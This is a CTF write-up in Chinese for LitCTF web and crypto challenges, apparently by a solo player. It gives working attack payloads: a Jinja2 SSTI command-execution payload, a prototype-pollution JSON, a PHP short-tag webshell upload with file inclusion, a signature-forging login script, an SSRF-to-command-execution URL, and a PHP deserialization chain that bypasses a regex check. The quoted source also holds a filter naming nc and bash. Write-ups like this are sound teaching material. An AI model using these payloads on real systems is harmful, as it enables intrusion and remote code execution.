前言 队友都不在,一人的LitCtf,简单写了写web题,拿了easy_file和多重宇宙日记的一血还不错。
Web nest_js
普通的登录页面
弱口令爆破,账号是admin,密码是password
星愿信箱 漏洞分析
输入什么就会回显,响应包显示是python后端,典型的SSTI
两个花括号被过滤,用百分号格式绕过
测试成功,打payload
payload 1 2 3 {%print(lipsum.__globals__.__builtins__['__import__' ]('os' ).popen ('ls /' ).read())%}
发现flag文件,这里cat命令被过滤,用nl即可
多重宇宙日记 描述 ez原型链,你能成为管理员拿到flag吗?
欢迎来到多重宇宙日记! 在这里,你可以记录下你在各个宇宙中的冒险笔记。
据说,管理员拥有一把能够解锁宇宙终极秘密的钥匙,它就藏在管理员的专属控制面板里。然而,这个控制面板似乎只有真正的管理员才能进入。
你的任务是,找到方法进入管理员面板,并拿到那把名为Flag的钥匙。
思路 经典的js原型链污染问题,我们需要污染后端的某个代表管理员的值,让我们的身份变成管理员,从而解锁隐藏按钮
注册
随便注册一个账号,admin(是我随便取的名字),发现有更新和发送两个功能
更新设置
发现更新了一个json,注意载荷
发送原始json 我们可以构造和上一部分一样的json发送,{“setting”:{“theme”:”123”,”language”:”123”}}也能达到修改json的效果
前端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 document .getElementById ('profileUpdateForm' ).addEventListener ('submit' , async function (event ) { event.preventDefault (); const statusEl = document .getElementById ('updateStatus' ); const currentSettingsEl = document .getElementById ('currentSettings' ); statusEl.textContent = '正在更新...' ; const formData = new FormData (event.target ); const settingsPayload = {}; if (formData.get ('theme' )) settingsPayload.theme = formData.get ('theme' ); if (formData.get ('language' )) settingsPayload.language = formData.get ('language' ); try { const response = await fetch ('/api/profile/update' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , }, body : JSON .stringify ({ settings : settingsPayload }) }); const result = await response.json (); if (response.ok ) { statusEl.textContent = '成功: ' + result.message ; currentSettingsEl.textContent = JSON .stringify (result.settings , null , 2 ); setTimeout (() => window .location .reload (), 1000 ); } else { statusEl.textContent = '错误: ' + result.message ; } } catch (error) { statusEl.textContent = '请求失败: ' + error.toString (); } });async function sendRawJson ( ) { const rawJson = document .getElementById ('rawJsonSettings' ).value ; const statusEl = document .getElementById ('rawJsonStatus' ); const currentSettingsEl = document .getElementById ('currentSettings' ); statusEl.textContent = '正在发送...' ; try { const parsedJson = JSON .parse (rawJson); const response = await fetch ('/api/profile/update' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , }, body : JSON .stringify (parsedJson) }); const result = await response.json (); if (response.ok ) { statusEl.textContent = '成功: ' + result.message ; currentSettingsEl.textContent = JSON .stringify (result.settings , null , 2 ); setTimeout (() => window .location .reload (), 1000 ); } else { statusEl.textContent = '错误: ' + result.message ; } } catch (error) { statusEl.textContent = '请求失败或JSON无效: ' + error.toString (); } }
// 刷新页面以更新导航栏(如果isAdmin状态改变)
我们发现这样一行注释,也就是说明后端是检测isAdmin这个变量来确定我们是不是admin,接下来就是原型链污染
Payload 1 2 { "settings" : { "theme" : "123" , "language" : "123" , "__proto__" : { "isAdmin" : true } } }
就发现出现了管理员面板,进入得到flag
easy_file 弱口令爆破
登录页面,尝试sql注入无果,弱口令输入admin/password
进入后台
文件上传
waf分析 后缀
后缀应该用的白名单,尝试.htaccess .user.ini Php 大小写绕过一堆都没成功,只允许上传jpg文件,一般文件上传题目如果只允许上传jpg等文件,一般都存在文件包含漏洞,本题就是。
内容检测
不能出现<?php,不然会被拦住
这里用= 'Hello, World!'; ?>短标签绕过
文件包含点
登陆页面源码存在注释,file查看头像
管理后台传入file发现include点
木马利用
执行成功
得到flag
easy_signin(部分思路,后期补全) 目录扫描 可以发现登录页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 const loginBtn = document .getElementById ('loginBtn' );const passwordInput = document .getElementById ('password' );const errorTip = document .getElementById ('errorTip' );const rawUsername = document .getElementById ('username' ).value ; loginBtn.addEventListener ('click' , async () => { const rawPassword = passwordInput.value .trim (); if (!rawPassword) { errorTip.textContent = '请输入密码' ; errorTip.classList .add ('show' ); passwordInput.focus (); return ; } const md5Username = CryptoJS .MD5 (rawUsername).toString (); const md5Password = CryptoJS .MD5 (rawPassword).toString (); const shortMd5User = md5Username.slice (0 , 6 ); const shortMd5Pass = md5Password.slice (0 , 6 ); const timestamp = Date .now ().toString (); const secretKey = 'easy_signin' ; const sign = CryptoJS .MD5 (shortMd5User + shortMd5Pass + timestamp + secretKey).toString (); try { const response = await fetch ('login.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , 'X-Sign' : sign }, body : new URLSearchParams ({ username : md5Username, password : md5Password, timestamp : timestamp }) }); const result = await response.json (); if (result.code === 200 ) { alert ('登录成功!' ); window .location .href = 'dashboard.php' ; } else { errorTip.textContent = result.msg ; errorTip.classList .add ('show' ); passwordInput.value = '' ; passwordInput.focus (); setTimeout (() => errorTip.classList .remove ('show' ), 3000 ); } } catch (error) { errorTip.textContent = '网络请求失败' ; errorTip.classList .add ('show' ); setTimeout (() => errorTip.classList .remove ('show' ), 3000 ); } }); passwordInput.addEventListener ('input' , () => { errorTip.classList .remove ('show' ); });
发现他是把username和password进行md5加密,各取出前六位和当前时间戳构成新字符串,然后再md5加密制作一个校验码
爆破密码 用bp爆破模块,账号是21232f297a57a5a743894a0e4a801fc3(admin) 然后用密码字典进过md5加密后爆破得到密码为0192023a7bbd73250516f069df18b500,然后会显示校验错误
{“code”:403,”msg”:”\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25”}
接下来我们要伪造X-Sign校验码
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 import time, requests, os,hashlib admin = "21232f297a57a5a743894a0e4a801fc3" password = "0192023a7bbd73250516f069df18b500" key="easy_signin" t = str (int (time.time()*1000 )) sign = hashlib.md5((admin[0 : 6 ] + password[0 :6 ]+t+key).encode("utf-8" )).hexdigest() url="http://node6.anna.nssctf.cn:21432/login.php" data={"username" :admin,"password" :password,"timestamp" :t} header={"X-Sign" :sign} res=requests.post(url,data=data,headers=header)print (res.headers)
然后即可登陆成功
进入文档管理页面
接下来我们在前段源码发现api提示
进入发现url
1 /api/sys/urlcode.php?url=
大概率是要SSRF伪造本地访问了,我们用伪协议试试发现在前端代码出现注释
1 /api/sys/urlcode.php?url=file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!--?phpif ($_SERVER ['REMOTE_ADDR' ] == '127.0.0.1' ) {highlight_file (__FILE__ );$name ="waf" ;$name = $_GET ['name' ];if (preg_match ('/\b(nc|bash|sh)\b/i' , $name )) { echo "waf!!" ; exit ; }if (preg_match ('/more|less|head|sort/' , $name )) { echo "waf" ; exit ; }if (preg_match ('/tail|sed|cut|awk|strings|od|ping/' , $name )) { echo "waf!" ; exit ; }exec ($name , $output , $return_var );echo "执行结果:\n" ;print_r ($output );echo "\n返回码:$return_var " ; } else { echo ("非本地用户" ); } ?-->
发现可以传入name来命令执行,然后继续ssrf构造攻击
1 http:// node6.anna.nssctf.cn:21432 /api/ sys/urlcode.php?url=http:/ /127.0.0.1/ backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls%2520../
在上级目录发现327a6c4304ad5938eaf0efb6cc3e53dc.php,但是无法读取,我们直接访问得到flag
君の名は 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php highlight_file (__FILE__ );error_reporting (0 );create_function ("" , 'die(`/readflag`);' );class Taki { private $musubi ; private $magic ; public function __unserialize (array $data ) { $this ->musubi = $data ['musubi' ]; $this ->magic = $data ['magic' ]; return ($this ->musubi)(); } public function __call ($func ,$args ) { (new $args [0 ]($args [1 ]))->{$this ->magic}(); } }class Mitsuha { private $memory ; private $thread ; public function __invoke ( ) { return $this ->memory.$this ->thread; } }class KatawareDoki { private $soul ; private $kuchikamizake ; private $name ; public function __toString ( ) { ($this ->soul)->flag ($this ->kuchikamizake,$this ->name); return "call error!no flag!" ; } }$Litctf2025 = $_POST ['Litctf2025' ];if (!preg_match ("/^[Oa]:[\d]+/i" , $Litctf2025 )){ unserialize ($Litctf2025 ); }else { echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆" ; }
触发链子没什么难度,主要是对开头Oa的绕过,还有最后匿名函数的触发
利用点 1 (new $args [0 ]($args [1 ]))->{$this ->listenl1ng}();
新建一个类,然后调用他的一个方法,并且还是无参方法。
然后我们发现
1 2 create_function ("" , 'die(`/readflag`);' ); 第一次访问函数名为:\000 lambda_1
他创造了一个匿名函数,匿名函数的函数名是会改变的在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1只是第一次访问题目环境时匿名函数的名字,我们这里可能需要爆破,或者你重新开一个靶机
ReflectionFunction
这里我们就可以用他的invoke方法触发匿名函数,而且正好无参
Oa绕过 然后就是Oa绕过了
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
这里用这几个类可以进行伪装
这里题目能绕过是因为他的正则匹配是头字符串起始位置匹配,只检查开头位置。php8好像不太行。php7是可以的。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );error_reporting (0 );class Taki { public $musubi ; public $magic = "invoke" ; }class Mitsuha { public $memory ; public $thread ; }class KatawareDoki { public $soul ; public $kuchikamizake = "ReflectionFunction" ; public $name = "\000lambda_1" ; }$a = new Taki ();$b = new Mitsuha ();$c = new KatawareDoki ();$a ->musubi = $b ; $b ->thread = $c ; $c ->soul = $a ; $arr =array ("123" =>$a );$d =new ArrayObject ($arr );echo urlencode (serialize ($d ));
非预期解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Taki { private $musubi ; private $magic ; public function __unserialize (array $data ) { $this ->musubi = $data ['musubi' ]; $this ->magic = $data ['magic' ]; return ($this ->musubi)(); } public function __call ($func ,$args ) { (new $args [0 ]($args [1 ]))->{$this ->magic}(); } }
1 return ($this ->musubi)();
这个位置直接进行函数执行也是可以的
密码学 basic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Util.number import *from enc import flag m = bytes_to_long(flag) n = getPrime(1024 ) e = 65537 c = pow (m,e,n)print (f"n = {n} " )print (f"e = {e} " )print (f"c = {c} " )
由于n为素数,攻击者可直接计算私钥d并解密
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import inverse, long_to_bytes n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893 e = 65537 c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505 phi = n - 1 d = inverse(e, phi) m = pow (c, d, n) flag = long_to_bytes(m)print (flag.decode())